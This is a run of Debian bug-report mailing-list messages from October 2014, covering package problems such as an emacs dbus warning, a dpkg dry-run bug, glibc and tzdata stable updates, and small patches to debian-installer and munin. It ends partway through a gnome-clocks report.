Bug#684399: emacs : dbus problem at start
On Fri, Oct 10, 2014 at 01:22:44AM CEST, Rob Browning r...@defaultvalue.org said: tags unreproducible moreinfo thanks Erwan David er...@rail.eu.org writes: Package: emacs24 Version: 24.1+1-4 Severity: normal When starting emacs24 (from a ssh connection and remote display), I get : [...] (emacs:19860): GConf-WARNING **: Client failed to connect to the D-BUS daemon: /usr/bin/dbus-launch terminated abnormally without any error message If you get a chance, could you see if this still happens with a more recent version of Debian. I just tested the current unstable emacs24, via ssh -X, and didn't have any trouble. Thanks Sorry, I cannot. That would mean reinstalling emacs-gtk thus gconf, thus dbus thus systemd on a machine whose configuration I do not know how to replicate with systelmd nor find any doc for doing this. Fortunalely emacs24-lucid bugs where solved. -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764620: rxvt-unicode: borderLess incorrectly sets Override Redirect making window unusable.
Hi, This was tested on gnome-shell 3.14 (debian sid) and 3.10 (ubuntu 14.04). It seems like the bug you mentioned is closely related. The window manager(s) doesn't seem to supply _MOTIF_WM_INFO. Best regards, Micke On 10/10/14 07:38, Ryan Kavanagh wrote: tags 764620 +moreinfo thanks Hi, On Thu, Oct 09, 2014 at 06:31:30PM +0200, Micke Karls wrote: Trying to launch a terminal without window decorations using the borderLess option in rxvt-unicode I noticed that it not only removes window decorations but also sets Override Redirect which renders the window useless. Which window manager(s) are you using? This bug is very reminiscent of https://bugs.kde.org/show_bug.cgi?id=172028 . Best wishes, Ryan -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764578: [wine-development] add option to debian/rules to build without stack protection
2014-10-10 2:57 GMT+04:00, Michael Gilbert mgilb...@debian.org: Can you provide some examples of applications that are actually affected? Best wishes, Mike E.g. Adobe Photoshop CS6 installation. Actually I don't know where this bug resides - Windows Installer or just Adobe Installer. It won't install successfully if SPP is enabled and vice versa. I'm sure there's a enough of software with the same behavior which conflicts with SSP. Btw, I think it's better to provide that option via DEB_BUILD_OPTIONS, i.e. nossp. -- SY, Konstantin Demin -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764639: libgl1-nvidia-glx: failst to upgrade or install with KMS (nouveau) active
Hi Andrei, On Thu, Oct 9, 2014 at 1:53 PM, Andrei POPESCU andreimpope...@gmail.com wrote: Package: libgl1-nvidia-glx Version: 340.46-1 Severity: important Hi, If I have KMS active I get this when trying to install or upgrade libgl1-nvidia-glx: root@sid:~# dpkg -i libgl1-nvidia-glx_340.46-1_i386.deb (Se citește baza de date ... 197382 de fișiere și directoare actualmente instalate.) LC_ALL=C, please (for future bug reports). Your typical package maintainer is much more likely to speak English than Romanian. If I try it again the script /usr/lib/nvidia/check-for-mismatching-nvidia-module gets stuck in D state. Also the bug script for the package gets stuck, I had to switch to disable KMS to be able to use reportbug. It may be worth adding set -x to the script to see precisely where it's getting stuck. My only other suggestion at this point is to try out older versions of the kernel and/or the nvidia packages, and see if there's a known good combination that works (is this a regression of some sort?). Other than that, I've no idea what's happening. Regards, Vincent -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764673: dpkg: --dry-run --set-selections perform real actions
Package: dpkg Version: 1.17.16 Severity: normal Dear Maintainer, if one tries to perform --dry-run --set-selections for some reason, real actions will take effect in contradiction to the manpage: Do everything which is supposed to be done, but don't write any changes. here is an example: # dpkg --get-selections | head -n1 acl install # dpkg --get-selections | head -n1 | sed -r 's/\binstall$/purge/' | dpkg --dry-run --set-selections # dpkg --get-selections | head -n1 acl purge manpage also mentions one bug for the dry run parameter, not relevant for the reported issue as per my understanding: --no-act usually gives less information than might be helpful. either behavior or the documentation is expected to be fixed -- System Information: Debian Release: jessie/sid APT prefers unstable APT policy: (500, 'unstable'), (500, 'testing'), (500, 'stable'), (1, 'experimental') Architecture: armhf (armv7l) Foreign Architectures: armel Kernel: Linux 3.0.35-ygrex-utilite-dirty (SMP w/4 CPU cores) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Versions of packages dpkg depends on: ii libbz2-1.0 1.0.6-7 ii libc62.19-11 ii liblzma5 5.1.1alpha+20120614-2 ii libselinux1 2.3-2 ii tar 1.27.1-2 ii zlib1g 1:1.2.8.dfsg-2 dpkg recommends no packages. Versions of packages dpkg suggests: ii apt 1.0.9.2 -- no debconf information -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#763755: blender: SIGILL on startup
Hi! On Fri, Oct 10, 2014 at 3:09 AM, Johann Klammer klamm...@a1.net wrote: [...] perhaps they need a `include /usr/share/dpkg/architecture.mk` in debian/rules now? Mmhh... gotta check. There was something about that in `man dpkg-architecture`. The .71 in testing seems to build OK with it... No, it doesn't. Your patch wasn't applied in 2.71. The menus look fishy, but that's probably this ancient NVIDIA VANTA here(no shader progs).. Oh, gotta check this either... but I've no X on my laptop at the moment. Thanks for reporting. Cheers. -- Matteo F. Vescovi
Bug#764540: wheezy-pu: package glibc/2.13-38+deb7u5
On 2014-10-10 6:06, Aurelien Jarno wrote: On Thu, Oct 09, 2014 at 10:29:25PM +0100, Adam D. Barratt wrote: A few other changes appear to have been included: debian/TODO | 33 debian/debhelper.in/glibc-doc.install |4 debian/debhelper.in/glibc-doc.links | 17 debian/debhelper.in/glibc-doc.manpages |8 were those intentional? Oh I prepared my diff using the SVN and didn't notice that. It wasn't intentional to add them, but on the other hand they have been removed by mistake in the security team uploads deb7u3 and deb7u4. This means the current glibc-doc is missing most of the documentation compared to deb7u2, strange that we haven't got any bug report for that. Ah, I see. Thanks for the explanation. So we should keep these files to restore the documentation as it was before. Should I do another upload mentioning in the changelog these files have been added back? I don't think that's necessary at his point. It might not hurt to add a retrospective note so that it's included in +deb7u6 though. Regards, Adam -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#726131: emacs24: Emacs 24 crashed (segmentation fault) in getenv.c from libX11/_XkbGetCharset
Control: forcemerge 699325 726131 since they both correspond to upstream bug 8705. -- Vincent Lefèvre vinc...@vinc17.net - Web: https://www.vinc17.net/ 100% accessible validated (X)HTML - Blog: https://www.vinc17.net/blog/ Work: CR INRIA - computer arithmetic / AriC project (LIP, ENS-Lyon) -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#755468: closure-compiler: compilation with closure-compiler requires some *-extern.js files
On Monday 06 October 2014 21:38:18 you wrote: Where can those extern files found? I don't see them in upstream tarball for the current closure-compiler in Debian, nor in the latest upstream. My bad. These files are in a closure-compiler directories in prettify package. Since there were besides a convenience copy of closure-compiler and reading the TODO note from closure-compiler package, I assumed they were originally from closure-compiler. I was wrong. I'll close this bug. Sorry about the noise. All the best -- https://github.com/dod38fr/ -o- http://search.cpan.org/~ddumont/ http://ddumont.wordpress.com/ -o- irc: dod at irc.debian.org -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764674: redis-server: Update wheezy backports to version = 2.8.9
Package: redis-server Version: 2:2.8.6-1~bpo70+1 Severity: wishlist Dear Maintainer, Please update the wheezy backports version of redis-server to a version = 2.8.9. Redis 2.8.9 introduced a new data type (HyperLogLog), which is very useful in lots of situations. thanks, Alex -- System Information: Debian Release: 7.6 APT prefers stable APT policy: (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 3.2.0-4-amd64 (SMP w/8 CPU cores) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Versions of packages redis-server depends on: ii adduser 3.113+nmu3 ii libc6 2.13-38+deb7u4 ii libjemalloc1 3.0.0-3 ii redis-tools 2:2.8.6-1~bpo70+1 redis-server recommends no packages. redis-server suggests no packages. -- no debconf information -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#763755: blender: SIGILL on startup
On 10/10/2014 08:48 AM, Matteo F. Vescovi wrote: No, it doesn't. Your patch wasn't applied in 2.71. I modified it locally... Oh, gotta check this either... but I've no X on my laptop at the moment. Thanks for reporting. Not sure it's a bug.. it's quite possible they don't support that old stuff. -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#762007: Kernel command line handling change breaks d-i user-params functionality
severity 762007 important
tag 762007 +pending
clone 762007 -1 -2 -3
reassign -1 src:debian-installer
title -1 debian-installer: Please use --- not -- on installer's kernel
command line
block -1 by 762007
reassign -2 src:debian-cd
title -2 debian-cd: Please use --- not -- on installer's kernel command line
block -2 by 762007
reassign -3 src:installation-guide
title -3 installation-guide: Please use --- not -- on installer's kernel
command line
block -3 by 762007
thanks
TL;DR for the above packages: A kernel change broke the use of -- on
the kernel command line as a separator for d-i user-params purposes
(i.e. the bit which affects the installer but is also propagated to the
installed system). We now support --- as well and should use that
wherever we currently use --.
On Thu, 2014-10-09 at 08:48 +0100, Ian Campbell wrote:
I've left a complete install running but I'm pretty confident that it
will succeed.
It did. So I have pushed the patch to git.
As well as this fix I think we need to investigate which of these need
fixing too (i.e. with s/--/---/ in appropriate places):
* The pxe/grub etc configs in debian-installer.git
* Debian-cd
* Installation guide
I've assigned clones of this bug to these.
I'm sure that list must be incomplete but it was all I could come up
with. Sadly, as you might imagine, -- is not terribly amenable to grep
or codesearch.d.o.
Ian.
diff --git a/user-params b/user-params
index 53677b5..2d41e05 100755
--- a/user-params
+++ b/user-params
@@ -14,7 +14,7 @@ for item in $(sed -e 's/[^ =]*=[^]*[ ][^]*//g' \
# Remove trailing '?' for debconf variables set with '?='
var=${var%\?}
- if [ $item = -- ]; then
+ if [ $item = -- ] || [ $item = --- ]; then
inuser=1
collect=
elif [ $inuser ]; then
Ian.
--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#760388: pepperflashplugin-nonfree: modifies conffile of another package
Hi Bart, This bug prevents pepperflashplugin-nonfree from entering testing, so I'm a bit worried to see it without activity since Sep 10th. Is something happening behind the scene? Thanks, Lucas -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#696981: Info received (Bug#696981: munin: Cron job warn about not a reference at /usr/share/perl5/Munin/Master/Utils.pm line 908)
control: tag -1 + patch
I had a closer look at the problem, and figured out why the warning
show up. The issue is that $data in the call to Storable::nstore() is
undefined. A fix for this is to wrap the call writing data in a if
(defined $data) condition like this:
diff -ur munin-2.0.21/master/lib/Munin/Master/Utils.pm
munin-2.0.21-pere/master/lib/Munin/Master/Utils.pm
--- munin-2.0.21/master/lib/Munin/Master/Utils.pm 2014-04-22
21:29:32.0 +0200
+++ munin-2.0.21-pere/master/lib/Munin/Master/Utils.pm 2014-10-10
09:17:13.328179704 +0200
@@ -859,11 +859,13 @@
my $storable_filename_tmp = $storable_filename . .tmp.$$;
- # Write datafile.storable, in network order to be architecture indep
-Storable::nstore($data, $storable_filename_tmp);
+ if (defined $data) {
+ # Write datafile.storable, in network order to be architecture
indep
+ Storable::nstore($data, $storable_filename_tmp);
- # Atomic commit
- rename ($storable_filename_tmp, $storable_filename);
+ # Atomic commit
+ rename ($storable_filename_tmp, $storable_filename);
+ }
}
sub munin_writeconfig_storable {
This get rid of the warning in the cron email triggered by trying to
store nothing in /var/lib/munin/htmlconf.storable.tmp.$pid. But the
cron email is still sent out, this time with another and more
understandable message:
[FATAL] There is nothing to do here, since there are no nodes with
any plugins. Please refer to http://munin-monitoring.org/wiki/FAQ_no_graphs
So one step forward, one step back. But anyway, I suggest to include
the patch in munin, to avoid the confusing message.
--
Happy hacking
Petter Reinholdtsen
--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764678: dh-systemd: Please support systemd user services
Package: dh-systemd Severity: wishlist It would be very nice if dh-systemd would support systemd user units (both for detecting them during build time and to add something like systemctl --global enable my-user-unit to the debian/postinst). My use case is that the package installs a unit that should run at login time for all users. In the past this was done via the upstart session support. If you agree with the general idea I can help and work on a patch. Thanks, Michael -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#762906: krb5-auth-dialog: Popup show incorrect princial name (without username)
Hi. Did the debug info Wolfgang sent help you pinpoint the problem? Anything more we can provide to assist? -- Happy hacking Petter Reinholdtsen -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764679: libvirt-bin: conffiles not removed
Package: libvirt-bin
Version: 1.2.8-3
Severity: normal
Usertags: conffile
User: debian...@lists.debian.org
Usertags: obsolete-conffile adequate
The recent upgrade did not deal with obsolete conffiles properly.
Please use the dpkg-maintscript-helper support provided by dh_installdeb
to remove these obsolete conffiles on upgrade.
http://www.debian.org/doc/debian-policy/ch-files.html#s-config-files
http://manpages.debian.net/man/1/dh_installdeb
This bug report brought to you by adequate:
http://bonedaddy.net/pabs3/log/2013/02/23/inadequate-software/
$ pkg=libvirt-bin ; adequate $pkg ; dpkg-query -W -f='${Conffiles}\n' $pkg |
grep obsolete
libvirt-bin: obsolete-conffile /etc/apparmor.d/libvirtd/TEMPLATE
libvirt-bin: obsolete-conffile /etc/apparmor.d/libvirt/TEMPLATE
$ /etc/apparmor.d/libvirtd/TEMPLATE b0dfa704c6297fd9a4e68f0137c6be88 obsolete
/etc/apparmor.d/libvirt/TEMPLATE 0d5580a22d95fc622cd5b8efe54b8757 obsolete
-- System Information:
Debian Release: jessie/sid
APT prefers testing
APT policy: (900, 'testing'), (800, 'unstable'), (700, 'experimental')
Architecture: amd64 (x86_64)
Kernel: Linux 3.16-2-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_AU.utf8, LC_CTYPE=en_AU.utf8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Versions of packages libvirt-bin depends on:
ii libvirt-clients1.2.8-3
ii libvirt-daemon-system 1.2.8-3
libvirt-bin recommends no packages.
libvirt-bin suggests no packages.
-- no debconf information
--
bye,
pabs
https://wiki.debian.org/PaulWise
signature.asc
Description: This is a digitally signed message part
Bug#763278: gcc 4.9 wheezy-pu?
Am 10.10.2014 um 06:39 schrieb Adam D. Barratt: On Thu, 2014-10-09 at 23:01 -0400, Michael Gilbert wrote: Note that the window for the next stable update is closing in about a week, so there isn't a lot of time. Actually, the /point release/ is in about a week. The advertised window for getting updates in to it closes this weekend. I don't think updating all the shared libraries in a stable release is a good thing. What you might want to do is to package the current 4.9 as a gcc-snapshot package, and use this one, probably with static libgcc and libstdc++. Matthias -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764510: gcc-4.9: gnucash segfaults when built with GCC 4.9
Am 09.10.2014 um 17:00 schrieb Frédéric Brière: [ I assumed the BTS would send a Cc to the gnucash maintainer due to the affects header, but that probably wasn't the case. Sorry, Sébastien. ] On Wed, Oct 08, 2014 at 08:25:05PM +0200, Matthias Klose wrote: are there any suspicious compiler warnings? maybe fix these first. -Werror -Wall passes with flying colors. please try to build gnucash with -O1 or -O0 and see if it works. If yes, build half of the object files with -O2 (the default) and with -O0. Then try to reduce the files built with -O0. Once you have identified one file, continue using the optimize attribute to lower the optimization level for a function until you have identified the misbuilt function. Thanks! That was exactly what I needed to track it down. As inferred by the backtrace from my previous email, the culprit is indeed gsslrtma_populate_tree_store(); optimizing it with -O1 or -O2 triggers the segfault. I tried to dig a little deeper, but to no avail. The collect_values argument to value_collect_string() on frame 2 is bad, but inbetween that and gsslrtma_populate_tree_store() are three frames full of optimized-out variables, opaque varargs, and internal GTK/GNOME macros. That's beyond my league. Sébastien, I think I'll pass the baton to you now. :) Let me know if there's anything I can do to help. please attach the .i and .s files, for both the unmodified version, and the version, where you added the attribute to this function, plus the command line options how to build these files. -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764540: wheezy-pu: package glibc/2.13-38+deb7u5
Control: tags -1 + pending On 2014-10-09 0:16, Aurelien Jarno wrote: On Wed, Oct 08, 2014 at 11:27:30PM +0100, Adam D. Barratt wrote: Control: tags -1 + confirmed On Wed, 2014-10-08 at 23:49 +0200, Aurelien Jarno wrote: I would like to do an update of eglibc in wheezy, with the patches we have accumulated in the SVN over the last months. I understand that it's a bit late with the stable release schedule, that said all this patches have been upstream and in jessie/sid for months. [...] +eglibc (2.13-38+deb7u5) wheezy; urgency=medium + + * debian/patches/any/cvs-resolv-reuse-fd.diff: new patch from upstream +to fix invalid file descriptor reuse while sending DNS query. Closes: +#722075, #756343. + * debian/patches/any/cvs-CVE-2013-4357.diff: new patch from upstream to +fix stack overflow issues. Closes: #742925. + * debian/patches/any/submitted-CVE-2014-0475.diff: update from upstream +to fix a localplt regression introduced in version 2.13-38+deb7u3. + * patches/any/cvs-dlopen-tls-memleak.patch: new patch from upstream to +fix a memory leak with dlopen() and thread-local storage variables. +Closes: #763559. Please go ahead; thanks. Thanks! I have just uploaded it. Flagged for acceptance; thanks. Regards, Adam -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764639: libgl1-nvidia-glx: failst to upgrade or install with KMS (nouveau) active
On 2014-10-10 08:09, Vincent Cheng wrote: If I try it again the script /usr/lib/nvidia/check-for-mismatching-nvidia-module gets stuck in D state. Also the bug script for the package gets stuck, I had to switch to disable KMS to be able to use reportbug. It may be worth adding set -x to the script to see precisely where it's getting stuck. The only point I could imagine to block is when the script tries to read /proc/driver/nvidia/version - which should only exist if the driver got loaded properly. Andreas -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764534: wheezy-pu: package libplack-perl/0.9989-1+deb7u1
Control: tags -1 + pending On 2014-10-09 15:50, gregor herrmann wrote: On Wed, 08 Oct 2014 23:19:47 +0100, Adam D. Barratt wrote: Please go ahead; thanks. Thanks! Uploaded. Flagged for acceptance; thanks. Regards, Adam -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764410: wheezy-pu: package tzdata/2014h-0wheezy1
Control: tags -1 + pending On 2014-10-07 22:06, Aurelien Jarno wrote: As discussed on IRC, I have uploaded a new upstream version of tzdata to wheezy, matching the one we have in jessie/sid. It has updates for historical and future changes. The changelog lists the future changes: | tzdata (2014h-0wheezy1) stable; urgency=medium | | * New upstream version. | - New DST for Russia (closes: #761267). | - Timezone change for Turks Caicos. | | -- Aurelien Jarno aure...@debian.org Tue, 07 Oct 2014 22:54:07 +0200 The above change will happen after October 18th, so there is no need to go through wheezy-updates. Thanks. Flagged for acceptance. Regards, Adam -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764624: g++-4.9: ICE compiling (upstream) LibreOffice
Control: forwarded -1 https://gcc.gnu.org/PR57664 Control: tags -1 + upstream $ g++ -std=gnu++11 -c -g -fdebug-types-section osl_process.ii /home/master/src/libreoffice/workdirs/libreoffice-4-4/sal/qa/osl/process/osl_process.cxx:487:295: internal compiler error: in should_move_die_to_comdat, at dwarf2out.c:6846 Please submit a full bug report, with preprocessed source if appropriate. can be avoided by dropping -fdebug-types-section, not seen on the trunk. -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#758654: nqp and mipsel
On Thu, Oct 9, 2014 at 2:34 PM, Dominique Dumont d...@debian.org wrote: On Thursday 09 October 2014 11:33:10 YunQiang Su wrote: I tested it. Nqp can build without any patch now. So what to do is just add mips mipsel mips64 mips64el to arch-list in debian/control. nqp 2014.07-2 failed to build on mips: https://buildd.debian.org/status/fetch.php?pkg=nqparch=mipsver=2014.07-2stamp=1409928787 I tested it on mips64el with 2014.07-3. I will test it on mipsel. Which version did you test ? -- https://github.com/dod38fr/ -o- http://search.cpan.org/~ddumont/ http://ddumont.wordpress.com/ -o- irc: dod at irc.debian.org -- YunQiang Su -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#760388: pepperflashplugin-nonfree: modifies conffile of another package
On 10/10/14 at 07:37 +, Bart Martens wrote: Hi Lucas, On Fri, Oct 10, 2014 at 09:21:43AM +0200, Lucas Nussbaum wrote: This bug prevents pepperflashplugin-nonfree from entering testing, so I'm a bit worried to see it without activity since Sep 10th. Is something happening behind the scene? Thanks for asking. I had not received a reply from mgilbert to my question of 10 September. I see now that chromium-browser in unstable uses /etc/chromium.d since 28 September so I can proceed now. http://metadata.ftp-master.debian.org/changelogs/main/c/chromium-browser/unstable_changelog Great, thanks a lot! :-) Lucas -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764680: libnss-pgsql: maintainer address bounces
Source: libnss-pgsql Severity: serious Tags: sid X-Debbugs-Cc: Jan Dittberner ja...@debian.org The maintainer address bounces, see below. Ansgar Mail Delivery System mailer-dae...@muffat.debian.org writes: This message was created automatically by mail delivery software. A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: nsspampgsql-de...@lists.alioth.debian.org SMTP error from remote mail server after RCPT TO:nsspampgsql-de...@lists.alioth.debian.org: host lists.alioth.debian.org [5.153.231.21]: 550 Unrouteable address -- This is a copy of the message, including all the headers. -- [...] From: Debian FTP Masters ftpmas...@ftp-master.debian.org To: Debian Nss/Pgsql Developers nsspampgsql-de...@lists.alioth.debian.org, Jan Dittberner ja...@debian.org X-DAK: dak process-upload X-Debian: DAK X-Debian-Package: libnss-pgsql Precedence: bulk Auto-Submitted: auto-generated MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit Subject: libnss-pgsql_1.4.0debian-7_amd64.changes ACCEPTED into unstable Message-Id: e1xbzl8-0004ld...@franck.debian.org Date: Wed, 08 Oct 2014 22:04:10 + Accepted: Format: 1.8 Date: Wed, 08 Oct 2014 23:49:17 +0200 Source: libnss-pgsql Binary: libnss-pgsql2 Architecture: source amd64 Version: 1.4.0debian-7 Distribution: unstable Urgency: medium Maintainer: Debian Nss/Pgsql Developers nsspampgsql-de...@lists.alioth.debian.org Changed-By: Jan Dittberner ja...@debian.org Description: libnss-pgsql2 - NSS module for using PostgreSQL as a naming service Changes: libnss-pgsql (1.4.0debian-7) unstable; urgency=medium . * change Homepage to pgfoundry.org * switch Vcs-* fields to new collab-maint URLs Checksums-Sha1: f107468bcd09d14d08479c8b72b3eb4e8b215d58 1799 libnss-pgsql_1.4.0debian-7.dsc 9a7c570923868706c935e8d52b0ea4e31c112f2d 10308 libnss-pgsql_1.4.0debian-7.debian.tar.xz 247949bffcc33cee9c14d68e98fcb2820ff7bd45 0 libnss-pgsql2_1.4.0debian-7_amd64.deb Checksums-Sha256: 32baf69479ef644c5e032466d253f7c90f50b55e7aefa729be95f00154874dff 1799 libnss-pgsql_1.4.0debian-7.dsc 052b4e9e8e4d5a8c43b866ae5cd1683de0cbe72469407051802ad36be7766e04 10308 libnss-pgsql_1.4.0debian-7.debian.tar.xz 3658a53b06a62f79ff13f40b8c5df57c43ef7f40dcf94d23bd988ed1160c602e 0 libnss-pgsql2_1.4.0debian-7_amd64.deb Files: 4871774134a07066a5b202cd1933c6f2 1799 admin extra libnss-pgsql_1.4.0debian-7.dsc 86b92eb083f5e3138b536b2c060e0f73 10308 admin extra libnss-pgsql_1.4.0debian-7.debian.tar.xz b507159693c20028b839b505c8f108d4 0 admin extra libnss-pgsql2_1.4.0debian-7_amd64.deb Thank you for your contribution to Debian. -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764564: [PKG-OpenRC-Debian] Bug#764564: openrc: fail to boot when encryption + lvm are present
On Friday 10 October 2014 03:20 AM, Robbie Harwood wrote: Don't think it's this, either. I did not interrupt any part of boot in order to get this failure; this failure happens*every time*. It's possible that the filesystem is read-only during boot here which would cause failure, but I don't have a good way to check that. If you agree that this is the same bug, then I may close this one. Unless you see something that I don't, I think this is a different bug. I think you are hit by the same bug as me. https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=750559 Unfortunately, I did not hear back from the maintainer or the upstream dev on this one. -- Ritesh Raj Sarraf RESEARCHUT - http://www.researchut.com Necessity is the mother of invention.
Bug#764472: cups creates millions of temporary files when printing
Il 09/10/2014 13:20, Brian Potkin ha scritto: Antonio, Please don't forget to Cc the bug report. I'v bounced your previous two mails there so there is no need to do anything about those. Sorry. On Thu 09 Oct 2014 at 11:05:44 +0200, Antonio Sartori wrote: Hello Brian, Some additional information: The links are created when printing with evince, but not when printing with lp. (Actually, printing with evince produces blank pages, but I don't know whether this is related - maybe it's a problem of my pdf file.) The links continue to be created after the print command from evince has been given (about 50 links per minute). During this, a process uses most of the cpu, and it is /usr/bin/python /usr/share/system-config-printer/scp-dbus-service.py Killing this process, the creation of symlinks stops. So I guess this is what creates this lot of symlinks. I am not quite sure now whether this is a bug of evince, or of system-config-printer or something else. Nice progress. I'm thinking that your report should be reassigned to system-config-printer and merged with #764253: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=764253 Yes, I think it is the same problem. But before doing so let us see if we can give the maintainers there some help. Acroread is non-running but I'd be happier if it were not around. Please would you purge it from the system and try a print or two. From evince is one obvious application. Iceweasel uses the same GTK print dialog so it too would be suitable. I uninstalled acroread, and the problem disappeared. I installed it again, and still I wasn't able to reproduce the bug. So I'm not sure whether it depends on acroread. I tried to print various things on different printers from various applications, but I haven't been able to reproduce the problem. I'll keep an eye on it and see if this happens again. Regards, Antonio Another couple of links to rather old bug reports: https://bugzilla.redhat.com/show_bug.cgi?id=582202 https://bugzilla.redhat.com/show_bug.cgi?id=498743 Regards, Brian. -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#763755: blender: SIGILL on startup
Hi! On Fri, Oct 10, 2014 at 9:15 AM, Johann Klammer klamm...@a1.net wrote: On 10/10/2014 08:48 AM, Matteo F. Vescovi wrote: No, it doesn't. Your patch wasn't applied in 2.71. I modified it locally... Then, feel free to provide an updated patch. I'll give it a try. Oh, gotta check this either... but I've no X on my laptop at the moment. Thanks for reporting. Not sure it's a bug.. it's quite possible they don't support that old stuff. They don't, almost for sure. ;-P Cheers. -- Matteo F. Vescovi
Bug#755757: transition: wxpython3.0
On 07/10/14 23:43, Olly Betts wrote: On Wed, Jul 23, 2014 at 09:05:54AM +0200, Emilio Pozuelo Monfort wrote: Control: forwarded -1 https://release.debian.org/transitions/html/wxpython3.0.html Control: tags -1 confirmed So the ben file I originally sent has a couple of annoying issues: One is that packages which recommend or suggest aren't listed at all, and neither are those which only build-depend on wxpython (e.g. ipython did, but apparently unnecessarily as the maintainer has dropped that dependency now). The other is that packages which have been updated but switched to a dependency on python-wxgtk3.0|python-wxgtk2.8 are still listed as bad. The result of these is that the tracker no longer presents useful information - most of the listed packages are actually fixed already, but several packages needing attention aren't listed. AFAICS out of the 7 packages that are still marked as bad, there is only one false positive: gnumed-client. I have updated the tracker with your proposed new one and it shows the same packages except for gnumed-client, which is now marked as good (note however that it has wx2.8 as the first alternative so you may want to file a bug about that). Let me know if the tracker needs further changes. Emilio -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764681: gnome-clocks: Adding locations is broken
Package: gnome-clocks Version: 3.14.0-1 Severity: normal Dear Maintainer, After upgrading to 3.14.0, trying to add world clock locations brings up a broken dialog (that also can't be closed, the only way to close clocks now is via the application menu). If running from the terminal, the following is outputted on stderr when clicking the New button: (gnome-clocks:14882): Gtk-CRITICAL **: Error building template class 'ClocksWorldLocationDialog' for an instance of type 'ClocksWorldLocationDialog': Invalid object type `GWeatherLocationEntry' on line 2 //Marcus -- System Information: Debian Release: jessie/sid APT prefers testing-updates APT policy: (500, 'testing-updates'), (500, 'testing') Architecture: amd64 (x86_64) Foreign Architectures: i386 Kernel: Linux 3.16-2-amd64 (SMP w/8 CPU cores) Locale: LANG=sv_SE.UTF-8, LC_CTYPE=sv_SE.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Versions of packages gnome-clocks depends on: ii dconf-gsettings-backend [gsettings-backend] 0.22.0-1 ii geoclue-2.0 2.1.8-1 ii libatk1.0-0 2.14.0-1 ii libc62.19-11 ii libcairo-gobject21.12.16-5 ii 